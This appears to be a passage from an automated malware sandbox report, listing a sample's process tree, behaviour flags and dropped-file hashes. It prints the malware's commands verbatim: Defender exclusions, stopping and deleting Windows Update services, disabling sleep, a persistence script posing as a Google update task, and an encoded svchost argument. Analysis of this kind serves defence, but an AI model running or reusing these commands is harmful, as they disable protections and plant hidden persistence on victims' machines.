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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4640
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:5036 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:992
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4440
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4912
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4412
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:348
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:2092
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:3428
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2528
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵PID:1284
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1924
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:5000 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:4476
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:216
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:720
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:4188
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#uywolgyx#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4356
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe xicfnjkgvnuq2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1380 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
PID:3040
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:788 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵PID:4880
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe vhhxmiksbqktnsaz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZe1l3DBXa7sxhWwIMFBxMbqqEyEwxrZlgxdeZtwnBWttvfHW0XeoaG6LLmvwqjqmOyjLvCLJ8gj+J+Owk6hICmrcUEltE4QURRnXZTzB2hyTHbWQT9uicC1dVkB1sQcFcIJGu32TwpomaSst87VYPw2OaEtODxNDL7XSFyILleH6rfTJk+kB2n4FC5s+PTCFzoWlKD2bDRS4h04kgg0GAqKM2/ah4gM/UDf1/od/1GIoCY9g2DKAgREBgxFY6mbgTGKEdeeWR24Offsm1jTzW3WKOLSaqIJxRqtkqP/G6ovvxFgpLfvQ0lVbW2hsBE9stHKCA2L0OTNPFi1fHGVGj/d736mGWcjluLVOr8ku9+SHiwUSklk8q5S+AlQ+70mDaI/Q1p38DLz60oUqYi/UgqG+gqrxvIGGq1kC7mFFn7KPYd0Z1v+igTH0rwn+M+kVxfXWrtJZGazs/oFp9L4qjdTCAoElZTcf+lEpnq4WqeXNImLlR9ysAGmpjNXczEL23E2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1336
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2488
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
54.5MB
MD532e15387bdd65fe68b35718dd1b1b98f
SHA1d281b428c3d2e59c7d954308301822d9b3aa1409
SHA256dc2f5e27627750e63f24617303ed5b38841903ff3f32d98c55fe3a36d462064d
SHA512086b83aa2e1a999c946f3f62389dcb11e8ed76f70a974ba897ddbac9dd1d98a787a96fae3966934a6e3c7360ec50e1f5f73bff160790ef193371d1bb5b2cca38
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Filesize
54.5MB
MD532e15387bdd65fe68b35718dd1b1b98f
SHA1d281b428c3d2e59c7d954308301822d9b3aa1409
SHA256dc2f5e27627750e63f24617303ed5b38841903ff3f32d98c55fe3a36d462064d
SHA512086b83aa2e1a999c946f3f62389dcb11e8ed76f70a974ba897ddbac9dd1d98a787a96fae3966934a6e3c7360ec50e1f5f73bff160790ef193371d1bb5b2cca38
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
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Filesize
1KB
MD58c76dee4a40be03f3f96d194341d5853
SHA1d4c4e0e9fe3ae23dcb438369d773822ca7393379
SHA256271270743045d98c3b6da92d5a846e395a325394791ae4169c402668827c24cb
SHA512d1052ecd7500a5082aeb5ba4e48ac491a3d1c7a817a9a93015003b62175145360b68de2e377c8b5dd018e9dbf0f4050ce8235e2eab5633c75dd2525cbd3394eb
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5